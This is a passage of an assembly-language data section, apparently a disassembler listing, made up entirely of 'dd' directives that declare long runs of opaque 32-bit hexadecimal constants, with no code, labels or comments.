		dd 0F49D5EF5h, 6A41DAA3h, 821CB320h, 0B0EB0FFEh, 2880B530h
		dd 0E5D058C5h, 54F65114h, 31FA4EF4h, 0C8B652B6h, 807975B4h
		dd 0F4157670h, 5FB7CDE9h, 1C3899C9h, 17181710h,	16AB25BBh
		dd 0E0DBA78h, 9832E450h, 245F6358h, 2EACB649h, 283D9057h
		dd 6C0B7736h, 0FE4042EAh, 63F0253Dh, 70FC1D16h,	97BFED04h
		dd 6E5C002h, 782E60D7h,	9C3BF5F4h, 0FE4CC4F2h, 0BEAD294h
		dd 870587F0h, 0C75482DDh, 0D1C53103h, 0EA572D6h, 0E84316DFh
		dd 0E92BB214h, 9F66CBE8h, 0DCA291F1h, 2BF52D1Ch, 323C82C0h
		dd 9D11E909h, 3C1BC8AAh, 0F34E543Ch, 7193938Ah,	0EAB9C487h
		dd 35C81686h, 13BEC25Bh, 66B05F7h, 156E5E10h, 0CF4C8B96h
		dd 4E12E203h, 36051B5Ah, 2E037EBCh, 1F4135C8h, 9D3BEE38h
		dd 245DC2F2h, 0A385892Fh, 0E460B17Fh, 0C805FEFDh, 0C7284134h
		dd 905E4604h, 0F2DD4E09h, 0FDAF2797h, 5952F238h, 0F70B7EBBh
		dd 585B80D1h, 90BC49DEh, 6A7A9F60h, 7A9FB298h, 0CD012676h
		dd 13A610D5h, 95FFEBC1h, 16AF0FAh, 0F671D31Dh, 0F7BCDF16h
		dd 32410D86h, 0BEB2D4Eh, 0EB5D5F52h, 998B4176h,	0B11FD668h
		dd 28A00312h, 94A42CC8h, 9FC9F7Fh, 0B2DB51E9h, 183AC1DAh
		dd 0AD7B9B75h, 0F5BEF513h, 4749313Dh, 0C7ED345Ch, 7B1C609Dh
		dd 0B5B03ECCh, 331DBD0Bh, 0B9FEC014h, 0E0F58273h, 1206100Ch
		dd 12569EC2h, 0AA42AE89h, 5FBF45E9h, 6C9FFBC4h,	30B2076h
		dd 51AB779Dh, 4BBE4100h, 23807D9Ch, 0CA414C02h,	6AB2F700h
		dd 0E947076Bh, 0EB2997Ah, 9E16ED39h, 40D6EBC5h,	12B720E0h
		dd 2DFA88CDh, 20D0C195h, 0FF4EEAB1h, 14B58CEEh,	8B18DF82h
		dd 0DDB16BF6h, 9425D0ACh, 59580593h, 0D88BB9E9h, 0B09C2Dh
		dd 0FBFCA40h, 40483725h, 0ABDA6C47h, 0DC55069Ah, 0CCCB9F8Ch
		dd 5469463h, 0A95CC20Fh, 247A4952h, 0BCC0BFB9h,	0B54744B0h
		dd 0E8C7EB84h, 0CE2912E5h, 1B180B8h, 69F27A06h,	195E9396h
		dd 8CEA9F4Eh, 0AB4E73DFh, 80EA8357h, 7E68500Eh,	70974F12h
		dd 0DD432B0Bh, 47DFA78Bh, 2F302FB9h, 0DD82DDCFh, 8ED22270h
		dd 0C9D97202h, 40F1FEFEh, 7ED11898h, 83B58BFAh,	0D7BE566Bh
		dd 378287B5h, 25345421h, 4E6F6ED5h, 0C2F4F354h,	5E7A7BE9h
		dd 44D8CB67h, 0FF4A782Dh, 26C1CEB8h, 7A135495h,	187B4CF5h
		dd 648FC331h, 0CBCEDC82h, 37D6FCCAh, 68C276ECh,	5DD12FF5h
		dd 0A25FCA97h, 4B38B55Eh, 31D16DBBh, 36060853h,	0F2E3217h
		dd 13356FC8h, 0EB7830CAh, 207FB199h, 0F1685E15h, 0F4972E70h
		dd 0C39F5022h, 993C1D9Bh, 1D2FC7Eh, 0E62FB3Bh, 9DF957EFh
		dd 59F9DF49h, 3988884Ch, 0CF8453C1h, 8D554B68h,	2BFDF59Bh
		dd 4A7B64CAh, 0CA20EBEFh, 1315BA52h, 8145A75h, 0BB02E0BCh
		dd 60453D71h, 0B55BDF43h, 0B8159F2h, 0AE0D3B5Eh, 0B364CA50h
		dd 0F121275Bh, 0A1C85756h, 0FB680B02h, 52AFF457h, 0DD06B1D7h
		dd 9B2FCF7Dh, 9EDF79C2h, 6D5BB53Fh, 1BEA5B3Eh, 1CAA51CCh
		dd 0FC97FE78h, 684ECCAAh, 692DB731h, 0F93F446Ah, 13208507h
		dd 0F6E809D2h, 91C1C62Ah, 0BC75E912h, 21B731EBh, 1028083Ch
		dd 2EB353E9h, 84CF7158h, 0E6AF8AA4h, 0FDB3006Dh, 66EFE380h
		dd 0DE880E52h, 0F38FCEFEh, 0CB865A03h, 0E9121679h, 6791F7D3h
		dd 3C6F074Dh, 0D3407871h, 6F1D4C34h, 26EA9F10h,	4A09CB28h
		dd 0ADC5D396h, 0B153F025h, 3AF92B74h, 3843F4E5h, 3BD47A00h
		dd 3317F035h, 6D0D0B18h, 0C9047603h, 4B95ECF9h,	5C823CAAh
		dd 890C5495h, 0DF7461E0h, 0E29B9B69h, 2570946h,	553D4CFCh
		dd 322DB54Ch, 0A1FF6403h, 0AE573E0h, 1EE7006Ah,	56DA43BDh
		dd 344AE3FBh, 444B76A9h, 10C17659h, 0C9800EB8h,	0F9F16729h
		dd 0C9C5E163h, 5460DCE9h, 60FD8269h, 1E152DDAh,	1647AD28h
		dd 0CC712F0h, 0D1898905h, 8F88B29Eh, 565E0EAFh,	512369ECh
		dd 8FBFF1E8h, 3CEA645Eh, 0D01E8DEAh, 739DFEF6h,	89D8901h
		dd 0FB7CB394h, 29555F64h, 5DC5F782h, 0AA2C1F5Eh, 0CD5ECB02h
		dd 1B6C7F20h, 4117E832h, 0EF885FF7h, 0B1688585h, 0EF9CFB1Ch
		dd 0FB7012E9h, 488BBAFEh, 1C5F090Ah, 2BAF3D77h,	148BBBF1h
		dd 30947F03h, 5018A517h, 789036E0h, 0F7051868h,	591B10DBh
		dd 31C2E3Fh, 5F6561CBh,	1D180A0Bh, 14B18008h, 852086DFh
		dd 710C6813h, 6056B932h, 25483D23h, 43DD5E1Ch, 0DE090B3Ah
		dd 0B780E6C1h, 0D5B5A9F6h, 0CEA1665Ah, 0F330E2F1h, 58180EEAh
		dd 4DF777Fh, 0EB5B0D6Fh, 0D7BE84D5h, 486D3261h,	0F982D7FEh
		dd 80DFFF5Bh, 0CBE95EA5h, 938FB402h, 1DC6BFEEh,	29FC9D0Ch
		dd 4D6010Bh, 1717534Fh,	986BB68h, 0F597E8h, 0E9D3014Eh
		dd 90E0B2A5h, 17613BD2h, 5F4263A7h, 0F6163B8Ch,	8162FDF3h
		dd 894C95BEh, 228B29FEh, 4C5007E9h, 948ABD07h, 2CA4F613h
		dd 4ACA0h, 18B15123h, 96B75352h, 2C77F4A1h, 0E6DBC727h
		dd 0D759DF89h, 0FA24E9E4h, 4053A98Ch, 5A0FBA29h, 4B4CF023h
		dd 50C2E0BBh, 38D5FB0h,	80E7D0ABh, 0CFFE99A8h, 1807F7EAh
		dd 0C02CDD04h, 78C20A44h, 2E30A1Ah, 1749FD75h, 2724487Dh
		dd 0C85F8286h, 9DF5FEA2h, 66D10F4Bh, 3CC28BE0h,	78257A1Ch
		dd 0D8BD27C2h, 45F057C4h, 0DD46285Eh, 5A534F22h, 0EE010ADDh
		dd 0F16A44ECh, 0C530D4D6h, 0CAE569C0h, 0EC3B9812h, 306676F5h
		dd 0A9801DC2h, 1058CF7Dh, 2A022E26h, 0F974C840h, 5ACEC159h
		dd 0D53D2338h, 70186CDDh, 1D28E64Bh, 77F45C88h,	0C86AA355h
		dd 0C460ED37h, 0AAD1F187h, 0FA3B4BA7h, 0C9DEA182h, 0A86A2DC7h
		dd 17127584h, 1BFF220h,	6870CB98h, 0E2837F3Ah, 570FCA5Ah
		dd 3825C26Bh, 46C27705h, 77259254h, 2B5E5160h, 89D77F6h
		dd 6227079Ch, 158B55AFh, 679FB25Fh, 6386084Dh, 37188720h
		dd 8FC27B94h, 3ED21858h, 68E0E49h, 17F5314h, 0A76809F5h
		dd 6559FC11h, 0D316BE8Bh, 0B21EAE8Ah, 0ED85CA3h, 0AF922CD0h
		dd 0EBCD8B02h, 2F1651FEh, 0F91278D3h, 6093C9BEh, 0DB9DC556h
		dd 5093BDF5h, 2A709DF8h, 3F2E39EBh, 125B40D8h, 0A26AF268h
		dd 67BC4BC5h, 27E70210h, 3FA1024Eh, 0D2BFA9A4h,	68573FDCh
		dd 58A90B8Dh, 0BA296482h
		dd 0C8188A00h, 5DEA3177h, 9E4F9801h, 799A4236h,	61F28000h
		dd 0C174B588h, 0D350AFBFh, 0FE9C139h, 0EE3F8921h, 438A041Fh
		dd 0E9915909h, 4702EFF9h, 0E4E85AC5h, 0E612C0FAh, 0CFD9BE3h
		dd 0C229BE0Eh, 6E30231Ch, 67C596FDh, 0F0AB9DAEh, 119D145Dh
		dd 0F97B0584h, 589FA27Fh, 0CEF9978Dh, 548A0453h, 0FE1E29E9h
		dd 0E72FB7B5h, 60C20F3h, 0E6A3E9D9h, 0C23CFEFEh, 0EF1910A0h
		dd 0F28B4E4Ch, 5EB717D8h, 0B5E958BDh, 99ADEC4Bh, 0E8648084h
		dd 0A984966Ah, 2930E0FAh, 6B90DF9Dh, 0D7C1FF95h, 9017BBCAh
		dd 2A2B4A30h, 1CDAFEE1h, 0A72669D9h, 87F085Dh, 0E0B4E904h
		dd 0FBCB04B9h, 75F73AF5h, 8F0B3094h, 0D70FBE06h, 72842782h
		dd 397D840Fh, 73C151B8h, 306B8227h, 99D4C13h, 0E1677F38h
		dd 8E27BA5h, 0C22F4B9Fh, 15AC60F1h, 4180E088h, 88AD7E01h
		dd 0CFC5C6D4h, 0F7A83179h, 0DB0BB1D7h, 356473E9h, 0E92AFF89h
		dd 5768A093h, 39D2A96Dh, 0B56126Eh, 33E7102Ch, 7309DB3Eh
		dd 0C6EE755Eh, 10295348h, 5D2FAB7Ch, 7CF2655h, 59BCFEC7h
		dd 0CE40EF9Ah, 4CAFEDFCh, 765D494Ah, 87645B73h,	53004E3Ch
		dd 0A2A66668h, 40134B5Ch, 9A275293h, 51017038h,	55FE08C1h
		dd 0AFC3FFC1h, 0CAA77CB6h, 0C060AD3Ch, 2716DABDh, 6CA16FFDh
		dd 3C2E31C5h, 990872Bh,	0AE45D74Fh, 0C1AF5260h,	19726A1h
		dd 31BD2468h, 3B102AF6h, 23FC2F9Eh, 7DD2923Ah, 3A74120h
		dd 0E4802FB4h, 0C29FD046h, 44F5620Ah, 63682F28h, 0B8810259h
		dd 2B220F1Ah, 1CFBB82Eh, 662572E9h, 714D2065h, 0BDFCCCB7h
		dd 68727350h, 25F3564Ah, 0D8C14E1Ah, 55C5B576h,	93B0A2AAh
		dd 2129CAEEh, 685106C2h, 0E927AF8Dh, 0DF9E09B7h, 6951826h
		dd 4B1B905Ch, 58A76816h, 76FC7D27h, 0E941D5C9h,	8808181h
		dd 52DE5F55h, 25501E7Ah, 8C000CC2h, 0CCBF5B50h,	0F78E5A12h
		dd 0C4530FEh, 605BD1E9h, 0EB2AA4D9h, 44136E78h,	250DC7F4h
		dd 0C7FCB38h, 6F48327Dh, 16B2F220h, 968CD75Ah, 30BD4B19h
		dd 656B68DEh, 4CFE5BC4h, 22A2C14Eh, 6A5D5B8Fh, 5808054Bh
		dd 7F7FA7EAh, 0C4F7AE2Fh, 16DD951Bh, 35E91694h,	167E8DF3h
		dd 5F002ED9h, 42B85056h, 2F6AC225h, 0F2C0F8E9h,	8002C9FEh
		dd 0B75349E1h, 0B2505D05h, 6C639B0h, 981A0C04h,	37F7308Ah
		dd 4E16CDC1h, 97078C3Dh, 0CFA57BE3h, 0E8AC4A61h, 3243801Bh
		dd 5D53F0A5h, 0FC200198h, 3A61BD13h, 0D1A2E74Ah, 6804B451h
		dd 0B8D97E39h, 4EB2F82Ah, 0AFF452EFh, 0EC81C184h, 7D9232E9h
		dd 8BF1AF05h, 685FCC6Ah, 6D7D272Dh, 0EC792F89h,	0EFBBE905h
		dd 2DF57990h, 30E85A20h, 0B050526Eh, 1DC0E03Eh,	3D3DFE08h
		dd 70B283FFh, 0E98AE280h, 986003EAh, 8512C07Bh,	0FE1BB551h
		dd 17A0CD4Ah, 69C66EDh,	0DA5A6428h, 686242BEh, 9AFD3A3Ch
		dd 7BBC0BF9h, 0EAFD69C3h, 253F6DBBh, 0E8444256h, 5C253BFCh
		dd 76784C72h, 0C5897AF3h, 0A1F65DD2h, 5F8375EBh, 0EFABCF28h
		dd 9C4C06AEh, 1240B792h, 0E92CF828h, 0D22FB26Ah, 20049FD5h
		dd 30EF669Ah, 0B140153Dh, 7FEC0E4Bh, 39F44426h,	0E9D00902h
		dd 90EC7C86h, 0CC4F99F2h, 0FE97BEB3h, 11EDB20Bh, 8B3A5EB0h
		dd 7BE4F6Fh, 20B951B0h,	816AD81Dh, 172F105h, 0EE93D37h
		dd 5A850F79h, 42FE22BFh, 2FDA6A90h, 1F6210FDh, 703626ABh
		dd 72E12766h, 1EA23B5Bh, 0D8D95489h, 1C796884h,	0C225F8B9h
		dd 7FFFA0F7h, 0B772540Ch, 7A0AC282h, 6CCC797Dh,	0B82CE9C7h
		dd 11A6F516h, 63EF5516h, 28C10B4h, 90367868h, 0B3CE17Fh
		dd 0EA094F4Bh, 2262A88Dh, 0DAC02C00h, 4D1F609h,	6687DB69h
		dd 6011988h, 5129E47h, 568CA48h, 4938E9B3h, 47D75BD1h
		dd 64E90907h, 5A0B9078h, 9814C568h, 0DBB53BAh, 130C22F7h
		dd 311BF83Ah, 0EBD13512h, 8404E9ACh, 0EF5F829Ah, 68CA7FB1h
		dd 1295B882h, 0F61D5462h, 7A03093Eh, 16F07D16h,	0B20AC91h
		dd 24A8F3BFh, 540D01D4h, 61F12966h, 96080578h, 33822209h
		dd 0C1C51876h, 68D158EBh, 0E2BD22E9h, 0D9461848h, 7301124Dh
		dd 0BB758457h, 0C3BBAFDh, 0A0D8A2DBh, 97D21BE9h, 93F0EA64h
		dd 45EB955Fh, 0BC69460Bh, 515C8414h, 0E8A574FCh, 1E6E10E9h
		dd 432Ch, 0CAA557Dh, 3003E52Dh,	27352218h, 0AB13BB16h
		dd 5F10D190h, 5C5B02Fh,	4BF7AA0Bh, 0C3095D7Ah, 5A213D7h
		dd 0FB14A2D2h, 7FC5076h, 81DC5E2Dh, 26996806h, 0DDF627CBh
		dd 0B14BB0F5h, 88501C96h, 58E685CCh, 4692FB59h,	0B7307097h
		dd 0E9062E47h, 120C670h, 0E286D4F6h, 0F184F280h, 0A1B92A1Eh
		dd 14D35982h, 0CABCDA22h, 3F61874Bh, 55522AD1h,	6E44A642h
		dd 0B1E82534h, 28A3FDA1h, 0E106E8C6h, 0C775C895h, 5D1017B6h
		dd 0EF05C23Eh, 0E5E0886h, 2C49D13Ch, 0DA17EAFCh, 0CB920667h
		dd 0EAA1C931h, 4E68B87Bh, 2F3689AEh, 0B73BB77Dh, 895B2536h
		dd 50EA0B04h, 0EC862C73h, 0C5D2738h, 2F8008BBh,	895C10F4h
		dd 88BBB741h, 0C1C2F461h, 0C5F850ACh, 84FE53FBh, 4A1A523Dh
		dd 0F87714D7h, 0C554B7C2h, 79E5DFC9h, 96843792h, 6C53E582h
		dd 0DE320F42h, 0E90B7322h, 5B7E4629h, 0D2082189h, 3E9B1F04h
		dd 0ACC8A602h, 2892D3Bh, 0C5035304h, 0D9BB8258h, 7525C80Ah
		dd 0C4AB0C3h, 86BC86EBh, 7730EF40h, 0BD7F30DEh,	0CD68AD0Eh
		dd 274D3C49h, 607C621Fh, 0BF02C53Bh, 0B09AFC10h, 0D9505782h
		dd 692B840Bh, 166BF86Fh, 0FA1BAD3Bh, 0BF544519h, 0C2B1A87Fh
		dd 0CC18E168h, 1B4525E8h, 1F7ACA46h, 0EF4BF80h,	816BCF11h
		dd 233EC463h, 57F76602h, 403F1360h, 4820DF38h, 3267F47h
		dd 0BBF8A5DBh, 0DFD8022Dh, 0FC09E41Ch, 54503160h, 25E95086h
		dd 28C580B7h, 985A66F5h, 0EFB04CFBh, 0D6AD063Fh, 0CF29C982h
		dd 0DB5052E2h, 0ED387CBDh, 0B8C73A07h, 47404C17h, 259506BDh
		dd 0EB7857FBh, 683F567Fh, 31AE1611h, 0EE41DD2Ch, 5EF83CE1h
		dd 0FC0C53B0h, 0E0B7015Bh, 2F0B7FFEh, 57ABF743h, 0BEB12F57h
		dd 0BAE89FD2h, 763B8E4h, 8E6859B0h, 0B8A46EBh, 0FFEA80CEh
		dd 0E22E6E70h, 0DE04EB46h, 7881C8FEh, 0EE04E65Bh, 0B8EEA524h
		dd 4E852261h, 0B612BAB9h, 7A9E83B3h, 0DC3CEBDEh, 0C3489FFEh
		dd 6AC2BA92h, 0C01C6F21h, 957D0AC8h, 3EA8BB0h, 28B099B7h
		dd 8FA5AABCh, 7F12B1F7h, 0E92084C7h, 3BA3E66h, 4440E724h
		dd 0A61415C0h, 0BA579D2Ch, 4788D4F1h, 0E747F22Dh, 0D1281076h
		dd 0C569C876h, 0E95121DDh, 3B78DEB4h, 4801EE92h, 0DD43B763h
		dd 0E5B0EC2Bh, 0A4532712h, 7A0E3DFFh, 45105AA6h, 0E528030Bh
		dd 0D1DFC580h, 3B74614Fh, 8F400BAh, 0BF5713ABh,	0E10001CFh
		dd 68E7815Fh, 90385259h, 796C1F9Eh, 0ABD5A5F0h,	0D97E0418h
		dd 38566803h, 0B0DD47D2h, 12B9EDCAh, 0C1752620h, 3A6C3175h
		dd 34E9E4E0h, 0E5F9D3D1h, 0CD8A7FC5h, 9A05B250h, 4A69AA8h
		dd 2CAC0935h, 8FC4AA3Ch, 798F8BEEh, 717DDBAAh, 0EE4C8B8Dh
		dd 0C7B55FD2h, 6B688499h, 0D639FA56h, 6F61EA2Fh, 622F505Fh
		dd 88DD4499h, 3343BBF9h, 0AA736FB7h, 1255CF69h,	85F68066h
		dd 0BD027864h, 9EB019F8h, 4442681Ch, 5695C4E8h,	2D712696h
		dd 0C6082D51h, 8E801DD1h, 0BBFEF6B7h, 55DC7325h, 4204824Ah
		dd 9FBDFEF5h, 0EF25EAD0h, 0E902607Dh, 27319CF1h, 2AC704E1h
		dd 59E00FBBh, 0ACD8AFC5h, 0FC1B8B43h, 406008BEh, 70772231h
		dd 0C0FBF22Fh, 66E83C6Eh, 0C2F025E9h, 4CC2E056h, 0AA342565h
		dd 8C3F812Dh, 0E2EE9EDh
		dd 0CB8136F2h, 338C5185h, 88019560h, 0EDA0D3F7h, 29C4CE89h
		dd 0CAC48BEBh, 19B56D81h, 0BC938938h, 985227F7h, 0BFEA89C9h
		dd 81DF9F32h, 674E6836h, 0C693B66Eh, 90FDF53Eh,	521304A1h
		dd 0FBCA311Bh, 25CAFC84h, 855A557Bh, 0B57D2330h, 888EBAF9h
		dd 0D4F44BDEh, 0F2E98664h, 0BA00428Fh, 63D50A06h, 1734E281h
		dd 0FC22215Ah, 0D5E10F1h, 1E27B84Bh, 0DB967AE6h, 0A32F01A1h
		dd 47E9826Dh, 655EF4F1h, 132AEE52h, 1C754569h, 5FFA29EBh
		dd 0C4AA9573h, 9C3D54Bh, 47756344h, 4BE985ADh, 25DCAE39h
		dd 89629E5Eh, 0EBD30EC3h, 504D7749h, 0F6815C85h, 2B50F1BFh
		dd 59C88E44h, 80D1B8AAh, 0A4685653h, 26F7726Eh,	7DC4E5Eh
		dd 2B089161h, 0F6D22878h, 1DDC2AEh, 6087F17Dh, 7C0BE9D9h
		dd 26CDFF5Bh, 8B01BD38h, 0E914A645h, 4ED66CA4h,	0BF3665AFh
		dd 0E9C2C6E6h, 0F957CCE5h, 0C87FA546h, 0D26E06B7h, 128F0F1Ch
		dd 0FEADF505h, 6AE1554Dh, 0BE83D5FEh, 278A2215h, 5C125E06h
		dd 7A250FA9h, 0D90C287Ch, 48BD7006h, 0C7CC5C01h, 750E65Fh
		dd 224468Eh, 0EE004A26h, 0D894F5B8h, 0E9F00C31h, 0BA6FDE10h
		dd 0DF306B9Fh, 13CA4434h, 89040C4Ch, 0FC4DDB71h, 61680B57h
		dd 26ECB077h, 0E443962Bh, 0B69721D2h, 55D7CF10h, 68371D05h
		dd 0F2B3527Eh, 0A08A0500h, 0AA87E9C8h, 44F2096h, 56B3DFCEh
		dd 0F5513C66h, 0F72AC820h, 5DD5A49h, 3F32AC7Bh,	0F630A466h
		dd 32778737h, 0B50F4D76h, 0AE096DCDh, 7A9348BFh, 2C28832Eh
		dd 0F04AB9B6h, 486AFDE0h, 55C3E4EAh, 2291AE68h,	0D6803A08h
		dd 3BF912DDh, 4E25E96Bh, 24F35C8h, 20E1AEA8h, 48120C13h
		dd 572643FCh, 0A8B5120Eh, 0FF5CE2FDh, 0E985AA47h, 11D45B58h
		dd 383E2EAh, 3E0A738Ah,	0E0BEB45Ah, 0E81201EBh,	0C68009E9h
		dd 2F1CF8B9h, 0D8DC277Dh, 94F2AA3Eh, 3E305F92h,	8BB80E82h
		dd 0ABE25011h, 405E90C6h, 0A277B791h, 0C8B42F2Dh, 1372D5Eh
		dd 86355704h, 0E71E126Ah, 325F1AA8h, 4F2D589Fh,	0EC74E01h
		dd 0EC53D913h, 0A0BD282Ch, 0D8443BDAh, 0D3872708h, 3A209E50h
		dd 0C181036Bh, 7C611DD4h, 87A074DAh, 484757BEh,	0CE812001h
		dd 2B1B33EAh, 16C22F30h, 0A84A1A4Dh, 38B15F31h,	0F5F52EF9h
		dd 0C067D560h, 2F6DEA57h, 50E251Eh, 0F77E283Eh,	72DED0Ah
		dd 0AFABF527h, 0B9A405FFh, 5C420190h, 420E4CC9h, 2F2BDB06h
		dd 0F89E5067h, 0F9EAFFA5h, 5FBC39FBh, 0C5C99AEDh, 0A0ABF075h
		dd 64405323h, 0FC3C6EC3h, 7D255883h, 0A01F99F0h, 1D572E6Fh
		dd 84BB6D80h, 63F2D42h,	2D078BF4h, 0E20273Bh, 927C0568h
		dd 0B6842D9Ch, 73B02F4Eh, 2D765C3Ch, 0E9FC0162h, 0DF8215DEh
		dd 21A60D9Ch, 81D7C38Bh, 0D95C9493h, 0C46129DDh, 0BBA10B2Ah
		dd 5455EE62h, 0E64E0B5Ch, 0C2C14E6h, 57C06C4Bh,	9522E568h
		dd 3C675551h, 0A3C7DD89h, 12D16804h, 0E26F33AAh, 0FC80D882h
		dd 7B0E7AF6h, 476948h, 581A3184h, 4FC3540h, 9236F4Dh, 0C524C1C6h
		dd 22317B67h, 4F49490Eh, 4F7CF13Ch, 5C8B838Dh, 827DCA9Ah
		dd 74B7A5FAh, 0B54A738h, 1B6E5B9Fh, 6D6ADA0Eh, 40C67651h
		dd 0B8CAD964h, 9280B097h, 0DEE0BD96h, 0F6806DA1h, 1F07797Eh
		dd 455EF029h, 21AB62Dh,	20E96844h, 9D27DDA2h, 58C1050Eh
		dd 5C0459F0h, 5300FA0Eh, 0AB236B7h, 5670EA80h, 0C275FA75h
		dd 352C5B03h, 0A404D028h, 0B5515EC0h, 0F6D6EEEEh, 54D2FFE8h
		dd 5EC188A6h, 7C252424h, 546B0020h, 0CB93E96h, 0E9F2B578h
		dd 30A1705Ah, 0EA58F266h, 22084909h, 940DEF05h,	0C1ECAA69h
		dd 91E3C2F7h, 1BB08946h, 3056573Eh, 0E0BFE7B5h,	2F4E0E0Bh
		dd 4265EF81h, 32CDAD07h, 0FD8725FCh, 0F70B6DADh, 92A0A9E2h
		dd 2C3604D8h, 0D52D077Bh, 8B93F929h, 4F595C50h,	84310243h
		dd 0C2EEE9BFh, 7F58C729h, 0D925BFD9h, 5264BD0Ah, 452FEC71h
		dd 34EEE1E3h, 0F6FDAD56h, 45E69FEBh, 0E3815B02h, 0F76E4C26h
		dd 1C19C900h, 682C6B2Ah, 294E7095h, 0A190C610h,	0CD2AC647h
		dd 5CB22C42h, 3DB85F49h, 0A3B2FBE4h, 56B8B4B4h,	0B6EF04Dh
		dd 254525Dh, 0DD7EAF73h, 0C8A7A265h, 0C20BAE58h, 10DD681Eh
		dd 6462D674h, 67DB5DC6h, 0B23856A8h, 46D32476h,	55133013h
		dd 2CADB505h, 745148A4h, 0D9885AB1h, 4B7240B8h,	59A05066h
		dd 5E955E42h, 0E0C141A4h, 2068908h, 81318055h, 693D8814h
		dd 0DD582E5Fh, 420DF195h, 2B415058h, 3B520730h,	57E789B2h
		dd 821EEFBh, 49E05712h,	0EAD8B75Fh, 0CA0A92F0h,	90C589E5h
		dd 77A5BA07h, 6AF805F5h, 2B9F00D2h, 298326EBh, 0F85AD72Fh
		dd 0C0A016B0h, 0AF75BFFEh, 6467FF80h, 5B3858C5h, 0FA458B06h
		dd 107F0C22h, 77A44025h, 7EFF4864h, 9CE61940h, 0EC37F44Dh
		dd 0DA5024EEh, 0EF891776h, 5FEACE51h, 0B2D798A0h, 12329520h
		dd 0E70CCC71h, 0BC557A1h, 411A63C1h, 79420062h,	0F7A0BDC6h
		dd 0D83015C1h, 6BA60C69h, 0F6707C7Fh, 8D110B6Ah, 53E22955h
		dd 71C080Dh, 0D573B414h, 0B131BE28h, 834ACA9h, 555A1E85h
		dd 5233924Ah, 0EB68BB2Eh, 0BD6F5E68h, 8BABB45Dh, 24A34867h
		dd 0E80B66FFh, 7D234637h, 1D0D9B78h, 620B058Ch,	0DD87C348h
		dd 0E10B8D76h, 0E31EBB73h, 81F95C6h, 295F9052h,	7576C55Ah
		dd 0A5938F56h, 23EB02C4h, 119C11C1h, 957378B2h,	0CB88D19Fh
		dd 17224CF7h, 0AF3FA868h, 0F7016069h, 7097D5B5h, 0FCF3124Ah
		dd 437D8042h, 4AE93795h, 41A0C398h, 0B0C33C07h,	68C5216Ah
		dd 0E9DC12BBh, 5811A122h, 0EDCB8505h, 39F2070Bh, 56097F5Bh
		dd 0A8BE64B1h, 0C62912FCh, 56FA6712h, 3A7505CDh, 20C9C8AEh
		dd 47933004h, 0E4C5F201h, 7CBB09A0h, 147B3D40h,	6FB4191Eh
		dd 0E0EBEBD1h, 42DD14Fh, 97E919CEh, 37D2B229h, 74548F33h
		dd 2FB20512h, 0CCD554B8h, 0ED0E4D12h, 28C61143h, 71D12C2Fh
		dd 96C17C2h, 204D4657h,	5E4A2776h, 178CAC06h, 98C148B3h
		dd 9DE3AF93h, 3789D9CBh, 9479C7Fh, 4BAD0FE4h, 32DD40F5h
		dd 31FE5BF1h, 0A4D170AAh, 6412E612h, 332764BCh,	74A787DBh
		dd 6A59C9F8h, 664F427h,	0ED9A05A6h, 954AAC10h, 0BDA0FF17h
		dd 6EDA845Bh, 66D43449h, 4BBED5E9h, 0B8009FB0h,	731A0930h
		dd 9533ADE9h, 0F9CBBDF1h, 0FC3C6478h, 0C9B85A56h, 3B6464B8h
		dd 4BBB58BBh, 0ED54F0FBh, 0C294D027h, 786E6806h, 0BBBAC2A4h
		dd 99025E22h, 0F33E21F7h, 6F29C4D6h, 0C78B0012h, 44595EF2h
		dd 0CAF12A90h, 7A09088Bh, 88E255DCh, 43D39AB8h,	5157F265h
		dd 4A538478h, 0E804AB11h, 35FAD47Dh, 49F7FEE3h,	2120AE37h
		dd 20EB80CBh, 5B74DD61h, 0AD18497h, 0AACCBAEh, 0A9CD47E9h
		dd 64FAE696h, 0D909BFAFh, 7A5082h, 9108CB25h, 0BA472D06h
		dd 44ED9C2Ch, 28FC0313h, 61C7EA1h, 0BF0771B8h, 9EF6F2ABh
		dd 52B14E0Dh, 92F6E92Fh, 0B65991BBh, 0C2D2C282h, 0B1C03290h
		dd 21EFBB53h, 0E4154A9Eh, 0E324D155h, 0D00034Bh, 96C95AEh
		dd 0D934CBDAh, 66FDD4ABh, 3A4FB905h, 0AF629E40h, 795B5428h
		dd 0D853E5F9h, 0C65FDDCEh, 9F375A4h, 0A8804041h, 0D4243976h
		dd 0A133E72Fh, 0AE942AFh, 0AD02697Ch, 0A2561E68h, 571D779Fh
		dd 0C46F5A59h, 8CA8786Bh, 0E193E2E7h, 56EB6868h, 0B0592AF0h
		dd 97023FF7h, 98F3ADC6h, 74010078h, 68D1F732h, 9396785Bh
		dd 0A27C62h, 4FE2B951h,	13004B4Bh, 5048070Dh, 41190CBBh
		dd 5D6E6538h, 0E1CB292Eh, 35D6F6CBh, 0A92E240Eh, 25CE88B2h
		dd 0A7D4E555h
		dd 3574CE41h, 60585D38h, 8640B6DFh, 0B842C766h,	48F65B1Fh
		dd 0C829C5EFh, 94F9F0C2h, 295B4EA6h, 422EAC3Ch,	0B7E0A11Eh
		dd 4ED32987h, 7ACB415Eh, 0F0733223h, 0EB24C1DBh, 0BC1D1002h
		dd 2F131CBh, 98FF96A5h,	2D01B7AFh, 5FF454E2h, 0DB627D49h
		dd 0E83FF477h, 0E8AE42E0h, 3E039508h, 0D94F5C1Dh, 0A733F08h
		dd 3271A58h, 869CB875h,	1B22BFDEh, 535CB3E2h, 0D8CB5D96h
		dd 8BE5ED97h, 43CFA06Fh, 1BAAEB81h, 0FC3CE67Bh,	5E9E85F3h
		dd 4E5E6639h, 0FABA2DEEh, 0E96BC0D7h, 4E94B2D7h, 0B087BA35h
		dd 4A9A30A2h, 7701407Bh, 7662164Fh, 0A5EC024Ah,	0DE609421h
		dd 92B7BC3Ah, 76907FE3h, 0CABAC62h, 25BD1DC1h, 0CF0AD007h
		dd 0C2DFFDA3h, 5F042EB9h, 0AFD71CFBh, 99BF4EFEh, 541CD9C7h
		dd 8E60C766h, 2B402784h, 23A230C1h, 0C8278D1h, 1DF27DF6h
		dd 0DE40F150h, 0EA6D14E9h, 28C4CEFEh, 0BAFC17E4h, 0B900744Ch
		dd 3540D571h, 0D252CA8h, 0A33E4246h, 2C16F44Fh,	0BE2ED31h
		dd 0EE5EC4B5h, 0AF9DEA6Eh, 72885258h, 5AD325E2h, 680523FCh
		dd 4B8C55B0h, 80B90EB6h, 0F30B46C6h, 9D20E04h, 22D3F55Eh
		dd 3133162Dh, 0B62EE225h, 97F27E2Bh, 0F25F5869h, 0E3A12C3Ch
